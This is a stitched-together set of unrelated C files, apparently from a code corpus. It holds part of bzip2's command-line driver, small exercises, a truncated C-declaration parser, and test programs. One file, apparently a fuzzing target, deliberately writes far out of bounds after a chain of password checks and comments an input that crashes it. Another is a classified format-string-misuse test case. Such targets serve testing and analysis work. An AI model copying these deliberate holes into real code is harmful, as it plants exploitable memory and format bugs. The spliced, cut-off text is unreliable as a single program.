saveInputFileMetaInfo ( inName );
}
switch ( srcMode ) {
case SM_I2O:
inStr = stdin;
outStr = stdout;
if ( isatty ( fileno ( stdout ) ) ) {
fprintf ( stderr,
"%s: I won't write compressed data to a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
setExit(1);
return;
};
break;
case SM_F2O:
inStr = fopen ( inName, "rb" );
outStr = stdout;
if ( isatty ( fileno ( stdout ) ) ) {
fprintf ( stderr,
"%s: I won't write compressed data to a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
};
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
};
break;
case SM_F2F:
inStr = fopen ( inName, "rb" );
outStr = fopen_output_safely ( outName, "wb" );
if ( outStr == NULL) {
fprintf ( stderr, "%s: Can't create output file %s: %s.\n",
progName, outName, strerror(errno) );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
}
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
if ( outStr != NULL ) fclose ( outStr );
setExit(1);
return;
};
break;
default:
panic ( "compress: bad srcMode" );
break;
}
if (verbosity >= 1) {
fprintf ( stderr, " %s: ", inName );
pad ( inName );
fflush ( stderr );
}
/*--- Now the input and output handles are sane. Do the Biz. ---*/
outputHandleJustInCase = outStr;
deleteOutputOnInterrupt = True;
compressStream ( inStr, outStr );
outputHandleJustInCase = NULL;
/*--- If there was an I/O error, we won't get here. ---*/
if ( srcMode == SM_F2F ) {
applySavedMetaInfoToOutputFile ( outName );
deleteOutputOnInterrupt = False;
if ( !keepInputFiles ) {
IntNative retVal = remove ( inName );
ERROR_IF_NOT_ZERO ( retVal );
}
}
deleteOutputOnInterrupt = False;
}
/*---------------------------------------------*/
static
void uncompress ( Char *name )
{
FILE *inStr;
FILE *outStr;
Int32 n, i;
Bool magicNumberOK;
Bool cantGuess;
struct MY_STAT statBuf;
deleteOutputOnInterrupt = False;
if (name == NULL && srcMode != SM_I2O)
panic ( "uncompress: bad modes\n" );
cantGuess = False;
switch (srcMode) {
case SM_I2O:
copyFileName ( inName, "(stdin)" );
copyFileName ( outName, "(stdout)" );
break;
case SM_F2F:
copyFileName ( inName, name );
copyFileName ( outName, name );
for (i = 0; i < BZ_N_SUFFIX_PAIRS; i++)
if (mapSuffix(outName,zSuffix[i],unzSuffix[i]))
goto zzz;
cantGuess = True;
strcat ( outName, ".out" );
break;
case SM_F2O:
copyFileName ( inName, name );
copyFileName ( outName, "(stdout)" );
break;
}
zzz:
if ( srcMode != SM_I2O && containsDubiousChars ( inName ) ) {
if (noisy)
fprintf ( stderr, "%s: There are no files matching `%s'.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode != SM_I2O && !fileExists ( inName ) ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
}
if ( srcMode == SM_F2F || srcMode == SM_F2O ) {
MY_STAT(inName, &statBuf);
if ( MY_S_ISDIR(statBuf.st_mode) ) {
fprintf( stderr,
"%s: Input file %s is a directory.\n",
progName,inName);
setExit(1);
return;
}
}
if ( srcMode == SM_F2F && !forceOverwrite && notAStandardFile ( inName )) {
if (noisy)
fprintf ( stderr, "%s: Input file %s is not a normal file.\n",
progName, inName );
setExit(1);
return;
}
if ( /* srcMode == SM_F2F implied && */ cantGuess ) {
if (noisy)
fprintf ( stderr,
"%s: Can't guess original name for %s -- using %s\n",
progName, inName, outName );
/* just a warning, no return */
}
if ( srcMode == SM_F2F && fileExists ( outName ) ) {
if (forceOverwrite) {
remove(outName);
} else {
fprintf ( stderr, "%s: Output file %s already exists.\n",
progName, outName );
setExit(1);
return;
}
}
if ( srcMode == SM_F2F && !forceOverwrite &&
(n=countHardLinks ( inName ) ) > 0) {
fprintf ( stderr, "%s: Input file %s has %d other link%s.\n",
progName, inName, n, n > 1 ? "s" : "" );
setExit(1);
return;
}
if ( srcMode == SM_F2F ) {
/* Save the file's meta-info before we open it. Doing it later
means we mess up the access times. */
saveInputFileMetaInfo ( inName );
}
switch ( srcMode ) {
case SM_I2O:
inStr = stdin;
outStr = stdout;
if ( isatty ( fileno ( stdin ) ) ) {
fprintf ( stderr,
"%s: I won't read compressed data from a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
setExit(1);
return;
};
break;
case SM_F2O:
inStr = fopen ( inName, "rb" );
outStr = stdout;
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s:%s.\n",
progName, inName, strerror(errno) );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
};
break;
case SM_F2F:
inStr = fopen ( inName, "rb" );
outStr = fopen_output_safely ( outName, "wb" );
if ( outStr == NULL) {
fprintf ( stderr, "%s: Can't create output file %s: %s.\n",
progName, outName, strerror(errno) );
if ( inStr != NULL ) fclose ( inStr );
setExit(1);
return;
}
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s: %s.\n",
progName, inName, strerror(errno) );
if ( outStr != NULL ) fclose ( outStr );
setExit(1);
return;
};
break;
default:
panic ( "uncompress: bad srcMode" );
break;
}
if (verbosity >= 1) {
fprintf ( stderr, " %s: ", inName );
pad ( inName );
fflush ( stderr );
}
/*--- Now the input and output handles are sane. Do the Biz. ---*/
outputHandleJustInCase = outStr;
deleteOutputOnInterrupt = True;
magicNumberOK = uncompressStream ( inStr, outStr );
outputHandleJustInCase = NULL;
/*--- If there was an I/O error, we won't get here. ---*/
if ( magicNumberOK ) {
if ( srcMode == SM_F2F ) {
applySavedMetaInfoToOutputFile ( outName );
deleteOutputOnInterrupt = False;
if ( !keepInputFiles ) {
IntNative retVal = remove ( inName );
ERROR_IF_NOT_ZERO ( retVal );
}
}
} else {
unzFailsExist = True;
deleteOutputOnInterrupt = False;
if ( srcMode == SM_F2F ) {
IntNative retVal = remove ( outName );
ERROR_IF_NOT_ZERO ( retVal );
}
}
deleteOutputOnInterrupt = False;
if ( magicNumberOK ) {
if (verbosity >= 1)
fprintf ( stderr, "done\n" );
} else {
setExit(2);
if (verbosity >= 1)
fprintf ( stderr, "not a bzip2 file.\n" ); else
fprintf ( stderr,
"%s: %s is not a bzip2 file.\n",
progName, inName );
}
}
/*---------------------------------------------*/
static
void testf ( Char *name )
{
FILE *inStr;
Bool allOK;
struct MY_STAT statBuf;
deleteOutputOnInterrupt = False;
if (name == NULL && srcMode != SM_I2O)
panic ( "testf: bad modes\n" );
copyFileName ( outName, "(none)" );
switch (srcMode) {
case SM_I2O: copyFileName ( inName, "(stdin)" ); break;
case SM_F2F: copyFileName ( inName, name ); break;
case SM_F2O: copyFileName ( inName, name ); break;
}
if ( srcMode != SM_I2O && containsDubiousChars ( inName ) ) {
if (noisy)
fprintf ( stderr, "%s: There are no files matching `%s'.\n",
progName, inName );
setExit(1);
return;
}
if ( srcMode != SM_I2O && !fileExists ( inName ) ) {
fprintf ( stderr, "%s: Can't open input %s: %s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
}
if ( srcMode != SM_I2O ) {
MY_STAT(inName, &statBuf);
if ( MY_S_ISDIR(statBuf.st_mode) ) {
fprintf( stderr,
"%s: Input file %s is a directory.\n",
progName,inName);
setExit(1);
return;
}
}
switch ( srcMode ) {
case SM_I2O:
if ( isatty ( fileno ( stdin ) ) ) {
fprintf ( stderr,
"%s: I won't read compressed data from a terminal.\n",
progName );
fprintf ( stderr, "%s: For help, type: `%s --help'.\n",
progName, progName );
setExit(1);
return;
};
inStr = stdin;
break;
case SM_F2O: case SM_F2F:
inStr = fopen ( inName, "rb" );
if ( inStr == NULL ) {
fprintf ( stderr, "%s: Can't open input file %s:%s.\n",
progName, inName, strerror(errno) );
setExit(1);
return;
};
break;
default:
panic ( "testf: bad srcMode" );
break;
}
if (verbosity >= 1) {
fprintf ( stderr, " %s: ", inName );
pad ( inName );
fflush ( stderr );
}
/*--- Now the input handle is sane. Do the Biz. ---*/
outputHandleJustInCase = NULL;
allOK = testStream ( inStr );
if (allOK && verbosity >= 1) fprintf ( stderr, "ok\n" );
if (!allOK) testFailsExist = True;
}
/*---------------------------------------------*/
static
void license ( void )
{
fprintf ( stderr,
"bzip2, a block-sorting file compressor. "
"Version %s.\n"
" \n"
" Copyright (C) 1996-2002 by Julian Seward.\n"
" \n"
" This program is free software; you can redistribute it and/or modify\n"
" it under the terms set out in the LICENSE file, which is included\n"
" in the bzip2-1.0 source distribution.\n"
" \n"
" This program is distributed in the hope that it will be useful,\n"
" but WITHOUT ANY WARRANTY; without even the implied warranty of\n"
" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n"
" LICENSE file for more details.\n"
" \n",
BZ2_bzlibVersion()
);
}
/*---------------------------------------------*/
static
void usage ( Char *fullProgName )
{
fprintf (
stderr,
"bzip2, a block-sorting file compressor. "
"Version %s.\n"
"\n usage: %s [flags and input files in any order]\n"
"\n"
" -h --help print this message\n"
" -d --decompress force decompression\n"
" -z --compress force compression\n"
" -k --keep keep (don't delete) input files\n"
" -f --force overwrite existing output files\n"
" -t --test test compressed file integrity\n"
" -c --stdout output to standard out\n"
" -q --quiet suppress noncritical error messages\n"
" -v --verbose be verbose (a 2nd -v gives more)\n"
" -L --license display software version & license\n"
" -V --version display software version & license\n"
" -s --small use less memory (at most 2500k)\n"
" -1 .. -9 set block size to 100k .. 900k\n"
" --fast alias for -1\n"
" --best alias for -9\n"
"\n"
" If invoked as `bzip2', default action is to compress.\n"
" as `bunzip2', default action is to decompress.\n"
" as `bzcat', default action is to decompress to stdout.\n"
"\n"
" If no file names are given, bzip2 compresses or decompresses\n"
" from standard input to standard output. You can combine\n"
" short flags, so `-v -4' means the same as -v4 or -4v, &c.\n"
# if BZ_UNIX
"\n"
# endif
,
BZ2_bzlibVersion(),
fullProgName
);
}
/*---------------------------------------------*/
static
void redundant ( Char* flag )
{
fprintf (
stderr,
"%s: %s is redundant in versions 0.9.5 and above\n",
progName, flag );
}
/*---------------------------------------------*/
/*--
All the garbage from here to main() is purely to
implement a linked list of command-line arguments,
into which main() copies argv[1 .. argc-1].
The purpose of this exercise is to facilitate
the expansion of wildcard characters * and ? in
filenames for OSs which don't know how to do it
themselves, like MSDOS, Windows 95 and NT.
The actual Dirty Work is done by the platform-
specific macro APPEND_FILESPEC.
--*/
typedef
struct zzzz {
Char *name;
struct zzzz *link;
}
Cell;
/*---------------------------------------------*/
static
void *myMalloc ( Int32 n )
{
void* p;
p = malloc ( (size_t)n );
if (p == NULL) outOfMemory ();
return p;
}
/*---------------------------------------------*/
static
Cell *mkCell ( void )
{
Cell *c;
c = (Cell*) myMalloc ( sizeof ( Cell ) );
c->name = NULL;
c->link = NULL;
return c;
}
/*---------------------------------------------*/
static
Cell *snocString ( Cell *root, Char *name )
{
if (root == NULL) {
Cell *tmp = mkCell();
tmp->name = (Char*) myMalloc ( 5 + strlen(name) );
strcpy ( tmp->name, name );
return tmp;
} else {
Cell *tmp = root;
while (tmp->link != NULL) tmp = tmp->link;
tmp->link = snocString ( tmp->link, name );
return root;
}
}
/*---------------------------------------------*/
static
void addFlagsFromEnvVar ( Cell** argList, Char* varName )
{
Int32 i, j, k;
Char *envbase, *p;
envbase = getenv(varName);
if (envbase != NULL) {
p = envbase;
i = 0;
while (True) {
if (p[i] == 0) break;
p += i;
i = 0;
while (isspace((Int32)(p[0]))) p++;
while (p[i] != 0 && !isspace((Int32)(p[i]))) i++;
if (i > 0) {
k = i; if (k > FILE_NAME_LEN-10) k = FILE_NAME_LEN-10;
for (j = 0; j < k; j++) tmpName[j] = p[j];
tmpName[k] = 0;
APPEND_FLAG(*argList, tmpName);
}
}
}
}
/*---------------------------------------------*/
#define ISFLAG(s) (strcmp(aa->name, (s))==0)
IntNative main ( IntNative argc, Char *argv[] )
{
Int32 i, j;
Char *tmp;
Cell *argList;
Cell *aa;
Bool decode;
/*-- Be really really really paranoid :-) --*/
if (sizeof(Int32) != 4 || sizeof(UInt32) != 4 ||
sizeof(Int16) != 2 || sizeof(UInt16) != 2 ||
sizeof(Char) != 1 || sizeof(UChar) != 1)
configError();
/*-- Initialise --*/
outputHandleJustInCase = NULL;
smallMode = False;
keepInputFiles = False;
forceOverwrite = False;
noisy = True;
verbosity = 0;
blockSize100k = 9;
testFailsExist = False;
unzFailsExist = False;
numFileNames = 0;
numFilesProcessed = 0;
workFactor = 30;
deleteOutputOnInterrupt = False;
exitValue = 0;
i = j = 0; /* avoid bogus warning from egcs-1.1.X */
/*-- Set up signal handlers for mem access errors --*/
signal (SIGSEGV, mySIGSEGVorSIGBUScatcher);
# if BZ_UNIX
# ifndef __DJGPP__
signal (SIGBUS, mySIGSEGVorSIGBUScatcher);
# endif
# endif
copyFileName ( inName, "(none)" );
copyFileName ( outName, "(none)" );
copyFileName ( progNameReally, argv[0] );
progName = &progNameReally[0];
for (tmp = &progNameReally[0]; *tmp != '\0'; tmp++)
if (*tmp == PATH_SEP) progName = tmp + 1;
/*-- Copy flags from env var BZIP2, and
expand filename wildcards in arg list.
--*/
argList = NULL;
addFlagsFromEnvVar ( &argList, "BZIP2" );
addFlagsFromEnvVar ( &argList, "BZIP" );
for (i = 1; i <= argc-1; i++)
APPEND_FILESPEC(argList, argv[i]);
/*-- Find the length of the longest filename --*/
longestFileName = 7;
numFileNames = 0;
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFileNames++;
if (longestFileName < (Int32)strlen(aa->name) )
longestFileName = (Int32)strlen(aa->name);
}
/*-- Determine source modes; flag handling may change this too. --*/
if (numFileNames == 0)
srcMode = SM_I2O; else srcMode = SM_F2F;
/*-- Determine what to do (compress/uncompress/test/cat). --*/
/*-- Note that subsequent flag handling may change this. --*/
opMode = OM_Z;
if ( (strstr ( progName, "unzip" ) != 0) ||
(strstr ( progName, "UNZIP" ) != 0) )
opMode = OM_UNZ;
if ( (strstr ( progName, "z2cat" ) != 0) ||
(strstr ( progName, "Z2CAT" ) != 0) ||
(strstr ( progName, "zcat" ) != 0) ||
(strstr ( progName, "ZCAT" ) != 0) ) {
opMode = OM_UNZ;
srcMode = (numFileNames == 0) ? SM_I2O : SM_F2O;
}
/*-- Look at the flags. --*/
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) break;
if (aa->name[0] == '-' && aa->name[1] != '-') {
for (j = 1; aa->name[j] != '\0'; j++) {
switch (aa->name[j]) {
case 'c': srcMode = SM_F2O; break;
case 'd': opMode = OM_UNZ; break;
case 'z': opMode = OM_Z; break;
case 'f': forceOverwrite = True; break;
case 't': opMode = OM_TEST; break;
case 'k': keepInputFiles = True; break;
case 's': smallMode = True; break;
case 'q': noisy = False; break;
case '1': blockSize100k = 1; break;
case '2': blockSize100k = 2; break;
case '3': blockSize100k = 3; break;
case '4': blockSize100k = 4; break;
case '5': blockSize100k = 5; break;
case '6': blockSize100k = 6; break;
case '7': blockSize100k = 7; break;
case '8': blockSize100k = 8; break;
case '9': blockSize100k = 9; break;
case 'V':
case 'L': license(); break;
case 'v': verbosity++; break;
case 'h': usage ( progName );
exit ( 0 );
break;
default: fprintf ( stderr, "%s: Bad flag `%s'\n",
progName, aa->name );
usage ( progName );
exit ( 1 );
break;
}
}
}
}
/*-- And again ... --*/
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) break;
if (ISFLAG("--stdout")) srcMode = SM_F2O; else
if (ISFLAG("--decompress")) opMode = OM_UNZ; else
if (ISFLAG("--compress")) opMode = OM_Z; else
if (ISFLAG("--force")) forceOverwrite = True; else
if (ISFLAG("--test")) opMode = OM_TEST; else
if (ISFLAG("--keep")) keepInputFiles = True; else
if (ISFLAG("--small")) smallMode = True; else
if (ISFLAG("--quiet")) noisy = False; else
if (ISFLAG("--version")) license(); else
if (ISFLAG("--license")) license(); else
if (ISFLAG("--exponential")) workFactor = 1; else
if (ISFLAG("--repetitive-best")) redundant(aa->name); else
if (ISFLAG("--repetitive-fast")) redundant(aa->name); else
if (ISFLAG("--fast")) blockSize100k = 1; else
if (ISFLAG("--best")) blockSize100k = 9; else
if (ISFLAG("--verbose")) verbosity++; else
if (ISFLAG("--help")) { usage ( progName ); exit ( 0 ); }
else
if (strncmp ( aa->name, "--", 2) == 0) {
fprintf ( stderr, "%s: Bad flag `%s'\n", progName, aa->name );
usage ( progName );
exit ( 1 );
}
}
if (verbosity > 4) verbosity = 4;
if (opMode == OM_Z && smallMode && blockSize100k > 2)
blockSize100k = 2;
if (opMode == OM_TEST && srcMode == SM_F2O) {
fprintf ( stderr, "%s: -c and -t cannot be used together.\n",
progName );
exit ( 1 );
}
if (srcMode == SM_F2O && numFileNames == 0)
srcMode = SM_I2O;
if (opMode != OM_Z) blockSize100k = 0;
if (srcMode == SM_F2F) {
signal (SIGINT, mySignalCatcher);
signal (SIGTERM, mySignalCatcher);
# if BZ_UNIX
signal (SIGHUP, mySignalCatcher);
# endif
}
if (opMode == OM_Z) {
if (srcMode == SM_I2O) {
compress ( NULL );
} else {
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFilesProcessed++;
compress ( aa->name );
}
}
}
else
if (opMode == OM_UNZ) {
unzFailsExist = False;
if (srcMode == SM_I2O) {
uncompress ( NULL );
} else {
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFilesProcessed++;
uncompress ( aa->name );
}
}
if (unzFailsExist) {
setExit(2);
exit(exitValue);
}
}
else {
testFailsExist = False;
if (srcMode == SM_I2O) {
testf ( NULL );
} else {
decode = True;
for (aa = argList; aa != NULL; aa = aa->link) {
if (ISFLAG("--")) { decode = False; continue; }
if (aa->name[0] == '-' && decode) continue;
numFilesProcessed++;
testf ( aa->name );
}
}
if (testFailsExist && noisy) {
fprintf ( stderr,
"\n"
"You can use the `bzip2recover' program to attempt to recover\n"
"data from undamaged sections of corrupted files.\n\n"
);
setExit(2);
exit(exitValue);
}
}
/* Free the argument list memory to mollify leak detectors
(eg) Purify, Checker. Serves no other useful purpose.
*/
aa = argList;
while (aa != NULL) {
Cell* aa2 = aa->link;
if (aa->name != NULL) free(aa->name);
free(aa);
aa = aa2;
}
return exitValue;
}
/*-----------------------------------------------------------*/
/*--- end bzip2.c ---*/
/*-----------------------------------------------------------*/
|
the_stack_data/148579524.c
|
#include <stdio.h>
int main(int argc, char const *argv[])
{
int item,count = 0,sum = 0;
while(1){
scanf("%d",&item);
if (item == -1) break;
count++;
sum += item;
}
printf("%d %d\n",sum,count);
return 0;
}
|
the_stack_data/994918.c
|
#include<stdio.h>
#define MAX 10
typedef struct
{
int data[MAX];
int top;
}STACK;
int push(STACK *s1, int v)
{
if(s1->top == MAX-1)
{
printf("Overflow\n");
return 1;
}
(s1->top)++;
s1->data[s1->top] = v;
return 0;
}
int pop(STACK *s, int *v)
{
if(s->top==-1)
{
printf("Underflow\n");
return 1;
}
*v = s->data[s->top];
s->top--;
return 0;
}
int copyy(STACK s1, STACK *s2)
{
for(int i=0;i<=s1.top;i++)
{
if(s2->top==MAX-1)
{
printf("Overflow\n");
return 1;
}
s2->top++;
s2->data[s2->top] = s1.data[s2->top];
}
return 0;
}
int main()
{
int m,k,q;
STACK s1,s2;
s1.top = -1;
s2.top = -1;
k = push(&s1,5);
k = push(&s1,10);
k = push(&s1,15);
k = push(&s1,20);
for(int i=0;i<=s1.top;i++)
printf("%d\t",s1.data[i]);
printf("\n");
copyy(s1,&s2);
for(int i=0;i<=s1.top;i++)
printf("%d\t",s2.data[i]);
printf("\n");
q = pop(&s1,&m);
q = pop(&s1,&m);
q = pop(&s1,&m);
for(int i=0;i<=s1.top;i++)
printf("%d\t",s1.data[i]);
return 0;
}
|
the_stack_data/1210005.c
|
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdbool.h>
#include <assert.h>
bool unit(const char *input, const char *delim, char *output[]) {
assert(input);
assert(delim);
assert(output);
char *str = strdup(input);
// first call strtok_r with origin string pointer
// next call with NULL, until return NULL.
// use saveptr to ensure thread-safe
char *s, *saveptr, *token;
for (s = str;
(token = strtok_r(s, delim, &saveptr)) && *output;
s = NULL, output++) {
if (strcmp(token, *output) != 0) {
printf("token = \"%s\" != \"%s\"\n", token, *output);
}
}
free(str);
return *output == NULL && token == NULL;
}
#define CHECK(expr) { bool b = expr; \
if (!b) {printf("fail at %s\n", # expr); return -1;}}
int main() {
// normal case
CHECK(unit("Hello World", " ",
(char *[]) {"Hello", "World", NULL}));
// no delimiter case
CHECK(unit("Hello", " ",
(char *[]) {"Hello", NULL}));
// delimiters, and duplicate delimiter in segment
CHECK(unit("Hello, World !", ", ",
(char *[]) {"Hello", "World", "!", NULL}));
return 0;
}
|
the_stack_data/560757.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// build via:
// Linux:
// clang -mno-sse -m32 -ggdb -Wall -O3 -o many_ifs many_ifs.c
// Windows
// cl.exe /arch:IA32 /Fe:many_ifs.exe many_ifs.c
#define __PASSWORD__ "passwordpasswordpasswordpasswordpasswordpasswordpasswordpassword"
#define __PASSWORD_SIZE__ 32
#define __BUF_SIZE__ 512
static float float_val = 1.0f;
const char *password = __PASSWORD__;
int cause_error[__PASSWORD_SIZE__];
static int do_checksum(char *start, char *end) {
int ck = 0;
for(; start != end; start++) {
ck += (int)(*start);
}
return ck;
}
#define ITER() do { \
cur = buffer[location++]; \
pwcur = password[pwloc++]; \
if(cur == pwcur) { \
float_val += 8.0f; \
unsigned char to_read = buffer[location++]; \
if(location+to_read > size) { \
return 0; \
} \
checksum += do_checksum(buffer+location, buffer+location+to_read); \
location += to_read; \
} else {\
return 0;\
}\
if(location > size || pwloc > pwlen) {\
return 0;\
}\
}while(0);
int process_buffer(char *buffer, size_t size) {
#ifdef _WIN32
__debugbreak();
#endif
size_t location = 0;
char cur;
size_t pwlen = __PASSWORD_SIZE__;
size_t pwloc = 0;
char pwcur;
int checksum = 0;
if(size < 1 || pwlen < 1 ) {
return -1;
}
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
ITER();
int index = (int)(float_val)*0x1000;
cause_error[index] = checksum;
return checksum;
}
int main(int argc, const char *argv[]) {
//cause_error = (int*)malloc(__PASSWORD_SIZE__ * sizeof(int));
void *buffer = malloc(__BUF_SIZE__);
// this will crash it
//strcpy((char*)buffer,
// "p\x01za\x01zs\x01zs\x01zw\x01zo\x01zr\x01zd\x01z"
// "p\x01za\x01zs\x01zs\x01zw\x01zo\x01zr\x01zd\x01z"
// "p\x01za\x01zs\x01zs\x01zw\x01zo\x01zr\x01zd\x01z"
// "p\x01za\x01zs\x01zs\x01zw\x01zo\x01zr\x01zd\x01z"
// );
memset(buffer, 'Z', __BUF_SIZE__);
int ret = process_buffer(buffer, __BUF_SIZE__);
if(ret != 0 && ret != -1) {
printf("success: %d\n", ret);
} else {
printf("fail\n");
}
free(buffer);
return 0;
}
|
the_stack_data/60946.c
|
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#define BUFSIZE 42
int main(void)
{
int margin;
#if defined BUFSIZE && BUFSIZE > 1024
margin = 2;
#elif BUFSIZE > 624
margin = 1;
#else
margin = 0;
#endif
printf("margin=%d\n",margin);
return 0;
}
|
the_stack_data/90761765.c
|
//Classification: #format_error/n/IVO/FM/aS+dA/printf/char/float
//Written by: Igor Eremeev
//Reviewed by: Sergey Pomelov
//Comment:
#include <stdlib.h>
#include <stdio.h>
#include <malloc.h>
#include <string.h>
int main(void)
{
float c = 1234.56;
char* pc = (char*)malloc(sizeof(char)*5);
if (pc == 0) {
return 1;
}
strcpy (pc, "%");
strcat (pc, "c");
printf (pc, c);
free(pc);
return 0;
}
|
the_stack_data/232956595.c
|
#include <ctype.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAXSIZE 1000
#define BUFSIZE 100
#define OK 0
#define ERR_MISSING_CLOSING_PARENTHESIS 1
#define ERR_EXPECT_NAME_OR_DCL_IN_PARENTHESES 2
#define ERR_SYNTAX_ERROR 3
#define ERR_PAR_MISSING_CLOSING_PARENTHESIS 4
#define ERR_PAR_EXPECT_NAME_OR_DCL_IN_PARENTHESES 5
#define ERR_PAR_SYNTAX_ERROR 6
#define ERR_NOT_IMPLEMENTED 7
static char g_buffer[BUFSIZE];
static char *g_next = g_buffer;
char g_token[100];
enum { NAME, PARENTHESES, BRACKETS };
int g_token_type;
char g_name[100];
char g_dcl[1000];
char g_type[100];
// char g_par_type[100];
// char g_par_dcl[1000];
char g_par_name[100];
// int g_paren_type = 0;
#define MAXDEPTH 10
char *g_dynamic[MAXDEPTH];
int g_depth = 0;
int parparse(char *);
int pdcl(char *);
int pddcl(char *);
void parclean();
int getch()
{
int res;
if (g_next == g_buffer)
res = getchar();
else
res = *--g_next;
#ifdef DEBUG
fprintf(stderr, "getch \033[32m%c\033[0m: g_token = %s\n", res, g_token);
#endif
return res;
}
int ungetch(int c)
{
#ifdef DEBUG
fprintf(stderr, "unget \033[33m%c\033[0m: g_token = %s\n", c, g_token);
#endif
if (g_next < g_buffer + BUFSIZE)
return (*g_next++ = c);
else
return EOF;
}
int peek_token_type()
{
char peeked[100];
peeked[0] = '\0';
char *p = peeked;
int c = getch();
int n = 1;
while (c == ' ' || c == '\t') {
c = getch();
}
if (isalpha(c)) {
for (*p++ = c; isalnum(c = getch()) || c == '_'; *p++ = c, ++n)
;
*p = '\0';
ungetch(c);
printf("peeked = %s\n", peeked);
char *q = peeked;
while (*q)
++q;
for (--q; q >= peeked; --q)
ungetch(*q);
return 1;
}
else if (c == ')') {
printf("peeked = %c (is PARENTHESES)\n", c);
ungetch(c);
return 1;
}
else {
printf("peeked = %c (not PARENTHESES)\n", c);
ungetch(c);
return 0;
}
}
int get_token_type()
{
char *p = g_token;
int c = getch();
while (c == ' ' || c == '\t')
c = getch();
if (c == '(') {
*p++ = c;
if (peek_token_type()) {
g_token_type = PARENTHESES;
}
else {
g_token_type = '(';
}
}
else if (c == '[') {
for (*p++ = c; (*p++ = getch()) != ']'; /* empty */)
;
g_token_type = BRACKETS;
}
else if (isalpha(c)) {
for (*p++ = c; isalnum(c = getch()) || c == '_'; *p++ = c)
;
ungetch(c);
g_token_type = NAME;
}
else {
*p++ = c;
g_token_type = c;
}
*p = '\0';
return g_token_type;
}
// when entering and returning from ddcl(), it has got one more token that does
// not belong to itself (ddcl part)
int dcl()
{
// g_paren_type = 0;
int ddcl();
int res;
int ns = 0;
while (get_token_type() == '*') {
++ns;
}
if ((res = ddcl()) != OK)
return res;
while (ns-- > 0)
strcat(g_dcl, "pointer to ");
return res;
}
int ddcl()
{
int res;
if (g_token_type == NAME) {
strcpy(g_name, g_token);
// g_paren_type = 1;
}
else if (g_token_type == '(') {
if ((res = dcl()) != OK)
return res;
if (g_token_type != ')')
return ERR_MISSING_CLOSING_PARENTHESIS;
}
else {
return ERR_EXPECT_NAME_OR_DCL_IN_PARENTHESES;
}
for (int tt = get_token_type(); tt == PARENTHESES || tt == BRACKETS;
tt = get_token_type()) {
if (tt == PARENTHESES) {
strcat(g_dcl, "function of ");
while (g_token_type != ')') {
if ((res = parparse(NULL)) != OK)
return res;
if (strlen(g_par_name)) {
strcat(g_dcl, " called ");
strcat(g_dcl, g_par_name);
}
if (g_token_type == ',')
strcat(g_dcl, " and ");
parclean();
}
strcat(g_dcl, " returning ");
}
else {
strcat(g_dcl, "array");
strcat(g_dcl, g_token);
strcat(g_dcl, " of ");
}
}
return OK;
}
void error_handle(int res)
{
switch (res) {
case ERR_MISSING_CLOSING_PARENTHESIS:
printf("[error] missing closing parenthesis ')'\n");
break;
case ERR_EXPECT_NAME_OR_DCL_IN_PARENTHESES:
printf("[error] expect name or (dcl)\n");
break;
case ERR_SYNTAX_ERROR:
printf("[error] syntax error, expect ending with ; or newline\n");
break;
case ERR_PAR_MISSING_CLOSING_PARENTHESIS:
printf("[error] para missing closing parenthesis ')'\n");
break;
case ERR_PAR_EXPECT_NAME_OR_DCL_IN_PARENTHESES:
printf("[error] para expect name or (dcl)\n");
break;
case ERR_PAR_SYNTAX_ERROR:
printf("[error] para syntax error, expect ending with , or )\n");
break;
case ERR_NOT_IMPLEMENTED:
printf("[error] not implemented\n");
break;
default:
printf("[error] unknown error code %d\n", res);
break;
}
fprintf(
stderr,
"[error] g_name = %s, g_dcl = %s, g_type = %s, g_token = %s, "
"g_token_type = %d, g_par_name = %s\n",
g_name, g_dcl, g_type, g_token, g_token_type, g_par_name);
// ignore all trailing characters in the line
if (g_token_type != '\n') {
while (getch() != '\n')
;
}
}
void parse()
{
strcpy(g_type, g_token);
g_dcl[0] = '\0';
int res = dcl();
if (res == OK && (g_token_type != ';' && g_token_type != '\n'))
res = ERR_SYNTAX_ERROR;
if (res == OK)
printf("%s: %s%s\n", g_name, g_dcl, g_type);
else
error_handle(res);
}
int parparse(char *dyna)
{
char *d_par_type = malloc(10); d_par_type[0] = '\0';
char *d_par_dcl = malloc(1000); d_par_dcl[0] = '\0';
// remeber to free later
// g_par_type[0] = '\0';
if (get_token_type() == ')') {
// strcpy(g_par_type, "void");
if (dyna)
